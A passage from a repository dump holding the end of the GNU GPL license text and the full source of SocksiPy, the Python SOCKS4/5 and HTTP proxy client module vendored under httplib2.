323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | {signature of Ty Coon}, 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/thirdparty/httplib2/socks.py:
--------------------------------------------------------------------------------
1 | """SocksiPy - Python SOCKS module.
2 | Version 1.00
3 |
4 | Copyright 2006 Dan-Haim. All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without modification,
7 | are permitted provided that the following conditions are met:
8 | 1. Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 | 2. Redistributions in binary form must reproduce the above copyright notice,
11 | this list of conditions and the following disclaimer in the documentation
12 | and/or other materials provided with the distribution.
13 | 3. Neither the name of Dan Haim nor the names of his contributors may be used
14 | to endorse or promote products derived from this software without specific
15 | prior written permission.
16 |
17 | THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED
18 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
19 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
20 | EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
21 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
22 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA
23 | OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
24 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
25 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.
26 |
27 |
28 | This module provides a standard socket-like interface for Python
29 | for tunneling connections through SOCKS proxies.
30 |
31 | """
32 |
33 | """
34 |
35 | Minor modifications made by Christopher Gilbert (http://motomastyle.com/)
36 | for use in PyLoris (http://pyloris.sourceforge.net/)
37 |
38 | Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/)
39 | mainly to merge bug fixes found in Sourceforge
40 |
41 | """
42 |
43 | import base64
44 | import socket
45 | import struct
46 | import sys
47 |
48 | if getattr(socket, 'socket', None) is None:
49 | raise ImportError('socket.socket missing, proxy support unusable')
50 |
51 | PROXY_TYPE_SOCKS4 = 1
52 | PROXY_TYPE_SOCKS5 = 2
53 | PROXY_TYPE_HTTP = 3
54 | PROXY_TYPE_HTTP_NO_TUNNEL = 4
55 |
56 | _defaultproxy = None
57 | _orgsocket = socket.socket
58 |
59 | class ProxyError(Exception): pass
60 | class GeneralProxyError(ProxyError): pass
61 | class Socks5AuthError(ProxyError): pass
62 | class Socks5Error(ProxyError): pass
63 | class Socks4Error(ProxyError): pass
64 | class HTTPError(ProxyError): pass
65 |
66 | _generalerrors = ("success",
67 | "invalid data",
68 | "not connected",
69 | "not available",
70 | "bad proxy type",
71 | "bad input")
72 |
73 | _socks5errors = ("succeeded",
74 | "general SOCKS server failure",
75 | "connection not allowed by ruleset",
76 | "Network unreachable",
77 | "Host unreachable",
78 | "Connection refused",
79 | "TTL expired",
80 | "Command not supported",
81 | "Address type not supported",
82 | "Unknown error")
83 |
84 | _socks5autherrors = ("succeeded",
85 | "authentication is required",
86 | "all offered authentication methods were rejected",
87 | "unknown username or invalid password",
88 | "unknown error")
89 |
90 | _socks4errors = ("request granted",
91 | "request rejected or failed",
92 | "request rejected because SOCKS server cannot connect to identd on the client",
93 | "request rejected because the client program and identd report different user-ids",
94 | "unknown error")
95 |
96 | def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None):
97 | """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
98 | Sets a default proxy which all further socksocket objects will use,
99 | unless explicitly changed.
100 | """
101 | global _defaultproxy
102 | _defaultproxy = (proxytype, addr, port, rdns, username, password)
103 |
104 | def wrapmodule(module):
105 | """wrapmodule(module)
106 | Attempts to replace a module's socket library with a SOCKS socket. Must set
107 | a default proxy using setdefaultproxy(...) first.
108 | This will only work on modules that import socket directly into the namespace;
109 | most of the Python Standard Library falls into this category.
110 | """
111 | if _defaultproxy != None:
112 | module.socket.socket = socksocket
113 | else:
114 | raise GeneralProxyError((4, "no proxy specified"))
115 |
116 | class socksocket(socket.socket):
117 | """socksocket([family[, type[, proto]]]) -> socket object
118 | Open a SOCKS enabled socket. The parameters are the same as
119 | those of the standard socket init. In order for SOCKS to work,
120 | you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
121 | """
122 |
123 | def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None):
124 | _orgsocket.__init__(self, family, type, proto, _sock)
125 | if _defaultproxy != None:
126 | self.__proxy = _defaultproxy
127 | else:
128 | self.__proxy = (None, None, None, None, None, None)
129 | self.__proxysockname = None
130 | self.__proxypeername = None
131 | self.__httptunnel = True
132 |
133 | def __recvall(self, count):
134 | """__recvall(count) -> data
135 | Receive EXACTLY the number of bytes requested from the socket.
136 | Blocks until the required number of bytes have been received.
137 | """
138 | data = self.recv(count)
139 | while len(data) < count:
140 | d = self.recv(count-len(data))
141 | if not d: raise GeneralProxyError((0, "connection closed unexpectedly"))
142 | data = data + d
143 | return data
144 |
145 | def sendall(self, content, *args):
146 | """ override socket.socket.sendall method to rewrite the header
147 | for non-tunneling proxies if needed
148 | """
149 | if not self.__httptunnel:
150 | content = self.__rewriteproxy(content)
151 | return super(socksocket, self).sendall(content, *args)
152 |
153 | def __rewriteproxy(self, header):
154 | """ rewrite HTTP request headers to support non-tunneling proxies
155 | (i.e. those which do not support the CONNECT method).
156 | This only works for HTTP (not HTTPS) since HTTPS requires tunneling.
157 | """
158 | host, endpt = None, None
159 | hdrs = header.split("\r\n")
160 | for hdr in hdrs:
161 | if hdr.lower().startswith("host:"):
162 | host = hdr
163 | elif hdr.lower().startswith("get") or hdr.lower().startswith("post"):
164 | endpt = hdr
165 | if host and endpt:
166 | hdrs.remove(host)
167 | hdrs.remove(endpt)
168 | host = host.split(" ")[1]
169 | endpt = endpt.split(" ")
170 | if (self.__proxy[4] != None and self.__proxy[5] != None):
171 | hdrs.insert(0, self.__getauthheader())
172 | hdrs.insert(0, "Host: %s" % host)
173 | hdrs.insert(0, "%s http://%s%s %s" % (endpt[0], host, endpt[1], endpt[2]))
174 | return "\r\n".join(hdrs)
175 |
176 | def __getauthheader(self):
177 | auth = self.__proxy[4] + ":" + self.__proxy[5]
178 | return "Proxy-Authorization: Basic " + base64.b64encode(auth)
179 |
180 | def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None):
181 | """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
182 | Sets the proxy to be used.
183 | proxytype - The type of the proxy to be used. Three types
184 | are supported: PROXY_TYPE_SOCKS4 (including socks4a),
185 | PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
186 | addr - The address of the server (IP or DNS).
187 | port - The port of the server. Defaults to 1080 for SOCKS
188 | servers and 8080 for HTTP proxy servers.
189 | rdns - Should DNS queries be preformed on the remote side
190 | (rather than the local side). The default is True.
191 | Note: This has no effect with SOCKS4 servers.
192 | username - Username to authenticate with to the server.
193 | The default is no authentication.
194 | password - Password to authenticate with to the server.
195 | Only relevant when username is also provided.
196 | """
197 | self.__proxy = (proxytype, addr, port, rdns, username, password)
198 |
199 | def __negotiatesocks5(self, destaddr, destport):
200 | """__negotiatesocks5(self,destaddr,destport)
201 | Negotiates a connection through a SOCKS5 server.
202 | """
203 | # First we'll send the authentication packages we support.
204 | if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):
205 | # The username/password details were supplied to the
206 | # setproxy method so we support the USERNAME/PASSWORD
207 | # authentication (in addition to the standard none).
208 | self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02))
209 | else:
210 | # No username/password were entered, therefore we
211 | # only support connections with no authentication.
212 | self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00))
213 | # We'll receive the server's response to determine which
214 | # method was selected
215 | chosenauth = self.__recvall(2)
216 | if chosenauth[0:1] != chr(0x05).encode():
217 | self.close()
218 | raise GeneralProxyError((1, _generalerrors[1]))
219 | # Check the chosen authentication method
220 | if chosenauth[1:2] == chr(0x00).encode():
221 | # No authentication is required
222 | pass
223 | elif chosenauth[1:2] == chr(0x02).encode():
224 | # Okay, we need to perform a basic username/password
225 | # authentication.
226 | self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5])
227 | authstat = self.__recvall(2)
228 | if authstat[0:1] != chr(0x01).encode():
229 | # Bad response
230 | self.close()
231 | raise GeneralProxyError((1, _generalerrors[1]))
232 | if authstat[1:2] != chr(0x00).encode():
233 | # Authentication failed
234 | self.close()
235 | raise Socks5AuthError((3, _socks5autherrors[3]))
236 | # Authentication succeeded
237 | else:
238 | # Reaching here is always bad
239 | self.close()
240 | if chosenauth[1] == chr(0xFF).encode():
241 | raise Socks5AuthError((2, _socks5autherrors[2]))
242 | else:
243 | raise GeneralProxyError((1, _generalerrors[1]))
244 | # Now we can request the actual connection
245 | req = struct.pack('BBB', 0x05, 0x01, 0x00)
246 | # If the given destination address is an IP address, we'll
247 | # use the IPv4 address request even if remote resolving was specified.
248 | try:
249 | ipaddr = socket.inet_aton(destaddr)
250 | req = req + chr(0x01).encode() + ipaddr
251 | except socket.error:
252 | # Well it's not an IP number, so it's probably a DNS name.
253 | if self.__proxy[3]:
254 | # Resolve remotely
255 | ipaddr = None
256 | req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr
257 | else:
258 | # Resolve locally
259 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
260 | req = req + chr(0x01).encode() + ipaddr
261 | req = req + struct.pack(">H", destport)
262 | self.sendall(req)
263 | # Get the response
264 | resp = self.__recvall(4)
265 | if resp[0:1] != chr(0x05).encode():
266 | self.close()
267 | raise GeneralProxyError((1, _generalerrors[1]))
268 | elif resp[1:2] != chr(0x00).encode():
269 | # Connection failed
270 | self.close()
271 | if ord(resp[1:2])<=8:
272 | raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])]))
273 | else:
274 | raise Socks5Error((9, _socks5errors[9]))
275 | # Get the bound address/port
276 | elif resp[3:4] == chr(0x01).encode():
277 | boundaddr = self.__recvall(4)
278 | elif resp[3:4] == chr(0x03).encode():
279 | resp = resp + self.recv(1)
280 | boundaddr = self.__recvall(ord(resp[4:5]))
281 | else:
282 | self.close()
283 | raise GeneralProxyError((1,_generalerrors[1]))
284 | boundport = struct.unpack(">H", self.__recvall(2))[0]
285 | self.__proxysockname = (boundaddr, boundport)
286 | if ipaddr != None:
287 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport)
288 | else:
289 | self.__proxypeername = (destaddr, destport)
290 |
291 | def getproxysockname(self):
292 | """getsockname() -> address info
293 | Returns the bound IP address and port number at the proxy.
294 | """
295 | return self.__proxysockname
296 |
297 | def getproxypeername(self):
298 | """getproxypeername() -> address info
299 | Returns the IP and port number of the proxy.
300 | """
301 | return _orgsocket.getpeername(self)
302 |
303 | def getpeername(self):
304 | """getpeername() -> address info
305 | Returns the IP address and port number of the destination
306 | machine (note: getproxypeername returns the proxy)
307 | """
308 | return self.__proxypeername
309 |
310 | def __negotiatesocks4(self,destaddr,destport):
311 | """__negotiatesocks4(self,destaddr,destport)
312 | Negotiates a connection through a SOCKS4 server.
313 | """
314 | # Check if the destination address provided is an IP address
315 | rmtrslv = False
316 | try:
317 | ipaddr = socket.inet_aton(destaddr)
318 | except socket.error:
319 | # It's a DNS name. Check where it should be resolved.
320 | if self.__proxy[3]:
321 | ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01)
322 | rmtrslv = True
323 | else:
324 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
325 | # Construct the request packet
326 | req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr
327 | # The username parameter is considered userid for SOCKS4
328 | if self.__proxy[4] != None:
329 | req = req + self.__proxy[4]
330 | req = req + chr(0x00).encode()
331 | # DNS name if remote resolving is required
332 | # NOTE: This is actually an extension to the SOCKS4 protocol
333 | # called SOCKS4A and may not be supported in all cases.
334 | if rmtrslv:
335 | req = req + destaddr + chr(0x00).encode()
336 | self.sendall(req)
337 | # Get the response from the server
338 | resp = self.__recvall(8)
339 | if resp[0:1] != chr(0x00).encode():
340 | # Bad data
341 | self.close()
342 | raise GeneralProxyError((1,_generalerrors[1]))
343 | if resp[1:2] != chr(0x5A).encode():
344 | # Server returned an error
345 | self.close()
346 | if ord(resp[1:2]) in (91, 92, 93):
347 | self.close()
348 | raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90]))
349 | else:
350 | raise Socks4Error((94, _socks4errors[4]))
351 | # Get the bound address/port
352 | self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0])
353 | if rmtrslv != None:
354 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport)
355 | else:
356 | self.__proxypeername = (destaddr, destport)
357 |
358 | def __negotiatehttp(self, destaddr, destport):
359 | """__negotiatehttp(self,destaddr,destport)
360 | Negotiates a connection through an HTTP server.
361 | """
362 | # If we need to resolve locally, we do this now
363 | if not self.__proxy[3]:
364 | addr = socket.gethostbyname(destaddr)
365 | else:
366 | addr = destaddr
367 | headers = ["CONNECT ", addr, ":", str(destport), " HTTP/1.1\r\n"]
368 | headers += ["Host: ", destaddr, "\r\n"]
369 | if (self.__proxy[4] != None and self.__proxy[5] != None):
370 | headers += [self.__getauthheader(), "\r\n"]
371 | headers.append("\r\n")
372 | self.sendall("".join(headers).encode())
373 | # We read the response until we get the string "\r\n\r\n"
374 | resp = self.recv(1)
375 | while resp.find("\r\n\r\n".encode()) == -1:
376 | resp = resp + self.recv(1)
377 | # We just need the first line to check if the connection
378 | # was successful
379 | statusline = resp.splitlines()[0].split(" ".encode(), 2)
380 | if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()):
381 | self.close()
382 | raise GeneralProxyError((1, _generalerrors[1]))
383 | try:
384 | statuscode = int(statusline[1])
385 | except ValueError:
386 | self.close()
387 | raise GeneralProxyError((1, _generalerrors[1]))
388 | if statuscode != 200:
389 | self.close()
390 | raise HTTPError((statuscode, statusline[2]))
391 | self.__proxysockname = ("0.0.0.0", 0)
392 | self.__proxypeername = (addr, destport)
393 |
394 | def connect(self, destpair):
395 | """connect(self, despair)
396 | Connects to the specified destination through a proxy.
397 | destpar - A tuple of the IP/DNS address and the port number.
398 | (identical to socket's connect).
399 | To select the proxy server use setproxy().
400 | """
401 | # Do a minimal input check first
402 | if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (not isinstance(destpair[0], basestring)) or (type(destpair[1]) != int):
403 | raise GeneralProxyError((5, _generalerrors[5]))
404 | if self.__proxy[0] == PROXY_TYPE_SOCKS5:
405 | if self.__proxy[2] != None:
406 | portnum = self.__proxy[2]
407 | else:
408 | portnum = 1080
409 | _orgsocket.connect(self, (self.__proxy[1], portnum))
410 | self.__negotiatesocks5(destpair[0], destpair[1])
411 | elif self.__proxy[0] == PROXY_TYPE_SOCKS4:
412 | if self.__proxy[2] != None:
413 | portnum = self.__proxy[2]
414 | else:
415 | portnum = 1080
416 | _orgsocket.connect(self,(self.__proxy[1], portnum))
417 | self.__negotiatesocks4(destpair[0], destpair[1])
418 | elif self.__proxy[0] == PROXY_TYPE_HTTP:
419 | if self.__proxy[2] != None:
420 | portnum = self.__proxy[2]
421 | else:
422 | portnum = 8080
423 | _orgsocket.connect(self,(self.__proxy[1], portnum))
424 | self.__negotiatehttp(destpair[0], destpair[1])
425 | elif self.__proxy[0] == PROXY_TYPE_HTTP_NO_TUNNEL:
426 | if self.__proxy[2] != None:
427 | portnum = self.__proxy[2]
428 | else:
429 | portnum = 8080
430 | _orgsocket.connect(self,(self.__proxy[1],portnum))
431 | if destpair[1] == 443:
432 | self.__negotiatehttp(destpair[0],destpair[1])
433 | else:
434 | self.__httptunnel = False
435 | elif self.__proxy[0] == None:
436 | _orgsocket.connect(self, (destpair[0], destpair[1]))
437 | else:
438 | raise GeneralProxyError((4, _generalerrors[4]))
439 |
--------------------------------------------------------------------------------